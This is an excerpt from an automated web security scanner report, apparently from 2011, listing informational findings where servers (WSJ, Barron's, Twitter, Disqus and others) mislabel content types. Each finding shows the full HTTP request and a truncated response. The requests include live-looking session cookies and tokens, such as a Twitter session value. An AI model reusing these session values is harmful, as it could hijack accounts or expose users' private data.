Cookie: djcs_route=73c63f57-3fae-4236-b6d8-6320cd939c4f; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:15:23 GMT
Server: Apache
X-DEBUG-BOX-IDENT: sbkj2kiwebp01
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /scorecard/SC_BEAR_O_2011_L.json
X-DEBUG-NAMESPACE: inert-barrons
Last-Modified: Sat, 14 May 2011 10:02:10 GMT
Accept-Ranges: bytes
Content-Length: 2408
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/plain

{"frozenList":[{"entry_id":46,"scorecard_name":"SC_BEAR_O_2010_F","author_id":-1,"end_date":"12/31/2010","start_date":"01/01/2010"},{"entry_id":50,"scorecard_name":"SC_BEAR_O_2009_2010_F","author_id":
...[SNIP]...

29.34. http://online.barrons.com/scorecard/SC_BEAR_P_2011_L.json previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://online.barrons.com
Path:	/scorecard/SC_BEAR_P_2011_L.json

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain JSON.

Request

GET /scorecard/SC_BEAR_P_2011_L.json HTTP/1.1
Host: online.barrons.com
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/home-page
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=73c63f57-3fae-4236-b6d8-6320cd939c4f; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:14:29 GMT
Server: Apache
X-DEBUG-BOX-IDENT: sbkj2kiwebp02
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /scorecard/SC_BEAR_P_2011_L.json
X-DEBUG-NAMESPACE: inert-barrons
Last-Modified: Sat, 14 May 2011 10:02:09 GMT
Accept-Ranges: bytes
Content-Length: 5457
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/plain

{"frozenList":[{"entry_id":48,"scorecard_name":"SC_BEAR_P_2010_F","author_id":-1,"end_date":"12/31/2010","start_date":"01/01/2010"},{"entry_id":52,"scorecard_name":"SC_BEAR_P_2009_2010_F","author_id":
...[SNIP]...

29.35. http://online.barrons.com/scorecard/SC_BULL_O_2011_L.json previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://online.barrons.com
Path:	/scorecard/SC_BULL_O_2011_L.json

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain JSON.

Request

GET /scorecard/SC_BULL_O_2011_L.json HTTP/1.1
Host: online.barrons.com
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/home-page
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=73c63f57-3fae-4236-b6d8-6320cd939c4f; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:14:30 GMT
Server: Apache
X-DEBUG-BOX-IDENT: sbkj2kiwebp03
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /scorecard/SC_BULL_O_2011_L.json
X-DEBUG-NAMESPACE: inert-barrons
Last-Modified: Sat, 14 May 2011 10:02:10 GMT
Accept-Ranges: bytes
Content-Length: 21032
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/plain

{"frozenList":[{"entry_id":45,"scorecard_name":"SC_BULL_O_2010_F","author_id":-1,"end_date":"12/31/2010","start_date":"01/01/2010"},{"entry_id":49,"scorecard_name":"SC_BULL_O_2009_2010_F","author_id":
...[SNIP]...

29.36. http://online.barrons.com/scorecard/SC_BULL_P_2011_L.json previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://online.barrons.com
Path:	/scorecard/SC_BULL_P_2011_L.json

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain JSON.

Request

GET /scorecard/SC_BULL_P_2011_L.json HTTP/1.1
Host: online.barrons.com
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/home-page
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=73c63f57-3fae-4236-b6d8-6320cd939c4f; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:14:27 GMT
Server: Apache
X-DEBUG-BOX-IDENT: sbkj2kiwebp04
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /scorecard/SC_BULL_P_2011_L.json
X-DEBUG-NAMESPACE: inert-barrons
Last-Modified: Sat, 14 May 2011 10:02:12 GMT
Accept-Ranges: bytes
Content-Length: 19320
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/plain

{"frozenList":[{"entry_id":47,"scorecard_name":"SC_BULL_P_2010_F","author_id":-1,"end_date":"12/31/2010","start_date":"01/01/2010"},{"entry_id":51,"scorecard_name":"SC_BULL_P_2009_2010_F","author_id":
...[SNIP]...

29.37. http://online.wsj.com/djscript/latest/dojo/cldr/nls/en/number.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://online.wsj.com
Path:	/djscript/latest/dojo/cldr/nls/en/number.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /djscript/latest/dojo/cldr/nls/en/number.js HTTP/1.1
Host: online.wsj.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; _chartbeat2=wh4hk9xmdxztvs8m; __utmz=1.1305367794.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1748330365.1305367794.1305367794.1305367794.1; __utmc=1; __utmb=1.1.10.1305367794; rsi_csl=; rsi_segs=; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D; mbox=session#1305367797515-52119#1305370149|check#true#1305368349

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:36:18 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep01 - Thu 03/17/11 - 13:50:46 EDT
Last-Modified: Thu, 17 Mar 2011 17:50:46 GMT
Cache-Control: max-age=3628800
Expires: Sat, 25 Jun 2011 10:36:18 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: application/x-javascript
Content-Language: en
Content-Length: 674

({"decimal":".","group":",","list":";","percentSign":"%","nativeZeroDigit":"0","patternDigit":"#","plusSign":"+","minusSign":"-","exponential":"E","perMille":"......","infinity":"......","nan":"NaN","
...[SNIP]...

29.38. http://online.wsj.com/public/page/0_0_WC_HeaderWeather-10005.html previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://online.wsj.com
Path:	/public/page/0_0_WC_HeaderWeather-10005.html

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /public/page/0_0_WC_HeaderWeather-10005.html HTTP/1.1
Host: online.wsj.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; DJSESSION=ORCS%3dna%2cus; DJCOOKIE=ORC%3dna%2cus; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:12 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep07 - Fri 05/13/11 - 00:48:52 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:09:27 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 924

<ul class="local-info">
<li class="location"><a id="w_location" href="http://online.wsj.com/public/page/accuweather-detailed-forecast.html?name=New York, NY&location=10005&u=http%3A//www.accuweathe
...[SNIP]...

29.39. https://order.wsj.com/sub/f3/offer_form previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://order.wsj.com
Path:	/sub/f3/offer_form

Issue detail

The response contains the following Content-type statement:

Content-Type: text/javascript; charset=utf-8

The response states that it contains script. However, it actually appears to contain HTML.

Request

Response

29.40. http://rt.disqus.com/forums/realtime-cached.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://rt.disqus.com
Path:	/forums/realtime-cached.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain plain text.

Request

GET /forums/realtime-cached.js?timestamp=2011-05-14_06:12:44&thread_id=303220975&f=allthingsd-kara&1305368061171 HTTP/1.1
Host: rt.disqus.com
Proxy-Connection: keep-alive
Referer: http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sessionid=6e6e8ad49aa0d7774c4482858306d0b8; __utmz=113869458.1305368048.1.1.utmcsr=kara.allthingsd.com|utmccn=(referral)|utmcmd=referral|utmcct=/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/; __utma=113869458.981292312.1305368048.1305368048.1305368048.1; __utmc=113869458; __utmb=113869458.1.10.1305368048; __qca=P0-1937626060-1305368047702

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 May 2011 10:28:51 GMT
Content-Type: application/x-javascript
Connection: close
Content-Length: 67
Last-Modified: Thu, 09 Dec 2010 00:48:51 GMT
Accept-Ranges: bytes

DISQUS.dtpl.actions.fire("realtime.update", "2010-12-08_19:48:43")

29.41. http://s.wsj.net/img/sm/textResizeIcons.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://s.wsj.net
Path:	/img/sm/textResizeIcons.gif

Issue detail

The response contains the following Content-type statement:

Content-Type: image/gif

The response states that it contains a GIF image. However, it actually appears to contain a PNG image.

Request

GET /img/sm/textResizeIcons.gif HTTP/1.1
Host: s.wsj.net
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Fri, 22 Apr 2011 15:10:46 GMT
Accept-Ranges: bytes
Content-Length: 417
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: image/gif
Cache-Control: public, max-age=2212784
Expires: Thu, 09 Jun 2011 00:53:33 GMT
Date: Sat, 14 May 2011 10:13:49 GMT
Connection: close

.PNG
.
...IHDR...=..........Iw.....tEXtSoftware.Adobe ImageReadyq.e<...uPLTE%%%..................QQQ...444......___"""......|||...BBB............bbbDDD...nnn......fff............................0j.
...[SNIP]...

29.42. http://s.wsj.net/public/resources/documents/ac_keyword_exception_list.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://s.wsj.net
Path:	/public/resources/documents/ac_keyword_exception_list.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain plain text.

Request

GET /public/resources/documents/ac_keyword_exception_list.js HTTP/1.1
Host: s.wsj.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/static_html_files/WSJThirdParty_Header_Nav_Commerce.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Last-Modified: Wed, 27 Jan 2010 23:55:46 GMT
Vary: Accept-Encoding
Server: Apache
nnCoection: close
Accept-Ranges: bytes
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: application/x-javascript
Cache-Control: max-age=14758
Expires: Sat, 14 May 2011 14:32:23 GMT
Date: Sat, 14 May 2011 10:26:25 GMT
Connection: close
Content-Length: 267

keywordException = new Array
("obama","putin","china","fbi","cia","fda","nano","g20","g-20","bay","egan","acme","gold","cost","gas","beer","drug","oil","dog","cpi","gdp","dna","etf","jazz","etfs"
...[SNIP]...

29.43. http://s1.wsj.net/img/nav_bg_wknd.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://s1.wsj.net
Path:	/img/nav_bg_wknd.gif

Issue detail

The response contains the following Content-type statement:

Content-Type: image/gif

The response states that it contains a GIF image. However, it actually appears to contain a PNG image.

Request

GET /img/nav_bg_wknd.gif HTTP/1.1
Host: s1.wsj.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:07 GMT
Server: Apache
Last-Modified: Thu, 10 Feb 2011 22:47:03 GMT
Accept-Ranges: bytes
Content-Length: 964
Cache-Control: max-age=2592000, public
Expires: Mon, 13 Jun 2011 10:09:07 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: image/gif

.PNG
.
...IHDR.............\..[....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="A
...[SNIP]...

29.44. http://s3.wsj.net/img/bg-liveMarketUpdates.jpg previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://s3.wsj.net
Path:	/img/bg-liveMarketUpdates.jpg

Issue detail

The response contains the following Content-type statement:

Content-Type: image/jpeg

The response states that it contains a JPEG image. However, it actually appears to contain a GIF image.

Request

GET /img/bg-liveMarketUpdates.jpg HTTP/1.1
Host: s3.wsj.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/static_html_files/onespot_js.html?v=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:51 GMT
Server: Apache
Last-Modified: Thu, 10 Feb 2011 22:46:52 GMT
Accept-Ranges: bytes
Content-Length: 2649
Cache-Control: max-age=2592000, public
Expires: Mon, 13 Jun 2011 10:09:51 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: image/jpeg

GIF89ay.1....................................................................................................!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="ado
...[SNIP]...

29.45. http://s4.wsj.net/img/icon_facebook_m.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://s4.wsj.net
Path:	/img/icon_facebook_m.gif

Issue detail

The response contains the following Content-type statement:

Content-Type: image/gif

The response states that it contains a GIF image. However, it actually appears to contain a PNG image.

Request

GET /img/icon_facebook_m.gif HTTP/1.1
Host: s4.wsj.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:14 GMT
Server: Apache
Last-Modified: Thu, 10 Feb 2011 22:46:59 GMT
Accept-Ranges: bytes
Content-Length: 316
Cache-Control: max-age=2592000, public
Expires: Mon, 13 Jun 2011 10:09:14 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: image/gif

.PNG
.
...IHDR.............(-.S....tEXtSoftware.Adobe ImageReadyq.e<...QPLTE;Y.$>v............1].....#Oj...5......bz.Mh.d|....l..`x.Oi.t..m..q..u..y....7h~.+..i....IDATx.d.... ...r....N....t..... .
...[SNIP]...

29.46. http://server.iad.liveperson.net/hcp/html/mTag.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://server.iad.liveperson.net
Path:	/hcp/html/mTag.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /hcp/html/mTag.js?site=44533531 HTTP/1.1
Host: server.iad.liveperson.net
Proxy-Connection: keep-alive
Referer: http://www.midphase.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Length: 17291
Content-Type: application/x-javascript
Content-Location: http://server.iad.liveperson.net/lpWeb/default_SMB//hcpv/emt/mtag.js?site=44533531
Last-Modified: Sun, 13 Mar 2011 22:27:52 GMT
Accept-Ranges: bytes
ETag: "e0f243e4cde1cb1:1718"
Server: Microsoft-IIS/6.0
P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 12:52:03 GMT

eval((function(s){var a,c,e,i,j,o="",r,t=".....................................................................................................................$@^`~";for(i=0;i<s.length;i++){r=t+s[i][
...[SNIP]...

29.47. https://services.wsj.com/Gryphon/images/logo.png previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://services.wsj.com
Path:	/Gryphon/images/logo.png

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain a PNG image.

Request

Response

29.48. http://topics.wsj.com/api-video/get_video_info.asp previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://topics.wsj.com
Path:	/api-video/get_video_info.asp

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain JSON.

Request

Response

29.49. http://twitter.com/account/available_features previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://twitter.com
Path:	/account/available_features

Issue detail

The response contains the following Content-type statement:

Content-Type: text/javascript; charset=utf-8

The response states that it contains script. However, it actually appears to contain plain text.

Request

GET /account/available_features HTTP/1.1
Host: twitter.com
Proxy-Connection: keep-alive
Referer: http://twitter.com/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/json, text/javascript, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: k=173.193.214.243.1305305564166059; guest_id=130536894972281377; original_referer=Vs%2BEmu1btvtijeAp0as8odTqICjT%2F%2Fddzu%2BIl%2BDmq8wqvfcyN8Q%2B%2BVzJuvqyxEy5DyZjyYsh4Cm3aLUWk8ue%2FHRNWBcQaHm3uqLcVkjIW0M%3D; __utmz=43838368.1305368954.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=43838368.1598605414.1305368954.1305368954.1305368954.1; __utmc=43838368; js=1; _twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCN5zDe4vAToMY3NyZl9pZCIlYWM1YmY4MDQz%250AZTBmM2ZjNjEwY2JjNWVhMTc3YzFlNTAiCmZsYXNoSUM6J0FjdGlvbkNvbnRy%250Ab2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA6B2lkIiVkYWRm%250ANDJhZTBkOTc0ZTVmY2ZhMjc5OTY5YmVjYTdiZg%253D%253D--1d8040b8314f051f527cc09828e06b740baadb22

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:05:17 GMT
Server: hi
Status: 200 OK
X-Transaction: 1305371117-42014-30658
ETag: "e5020459b064375557273611728fa8da"
X-Frame-Options: SAMEORIGIN
Last-Modified: Sat, 14 May 2011 11:05:17 GMT
X-Runtime: 0.00911
Content-Type: text/javascript; charset=utf-8
Content-Length: 2671
Pragma: no-cache
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
X-MID: 8e7ebb415bae618097480b363b4262b2c78e43b5
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: _twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCN5zDe4vAToMY3NyZl9pZCIlYWM1YmY4MDQz%250AZTBmM2ZjNjEwY2JjNWVhMTc3YzFlNTA6B2lkIiVkYWRmNDJhZTBkOTc0ZTVm%250AY2ZhMjc5OTY5YmVjYTdiZiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6%250ARmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA%253D%253D--17a095ab0ba49a89ec6ba122b48410385d145395; domain=.twitter.com; path=/; HttpOnly
X-XSS-Protection: 1; mode=block
Connection: close

{"tweet_stream_search":1,"phoenix_puffin":1,"tweet_stream_retweets_by_others":1,"tweet_geo_component":1,"list_stream_subscriptions":1,"conversations":1,"phoenix_apple_itunes_more":1,"phoenix_autocompl
...[SNIP]...

29.50. http://www.dinse.com/include/standart_lib.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dinse.com
Path:	/include/standart_lib.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /include/standart_lib.js HTTP/1.1
Host: www.dinse.com
Proxy-Connection: keep-alive
Referer: http://www.dinse.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2c27921b5d643a19418e2b71919dba6f

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:30:09 GMT
Server: Apache/2.2.3 (Debian)
Last-Modified: Wed, 21 Dec 2005 11:21:38 GMT
ETag: "5b42a1-1815-4086cfcd2b480"
Accept-Ranges: bytes
Content-Length: 6165
Content-Type: application/x-javascript

// Copyright . Coretomic, 2005

//*********************************************
//* .......... . ....... "..... ........." *
//*********************************************

dom = (document.getElem
...[SNIP]...

29.51. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

Response

29.52. http://www.fanpeeps.com/horizontalbuttons1.css previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.fanpeeps.com
Path:	/horizontalbuttons1.css

Issue detail

The response contains the following Content-type statement:

Content-Type: text/css

The response states that it contains CSS. However, it actually appears to contain HTML.

Request

GET /horizontalbuttons1.css HTTP/1.1
Host: www.fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://www.fanpeeps.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.4.10.1305376380; PHPSESSID=9a60411f58fb3454c5f556257e253120

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:33:45 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
Last-Modified: Mon, 22 Mar 2010 07:07:01 GMT
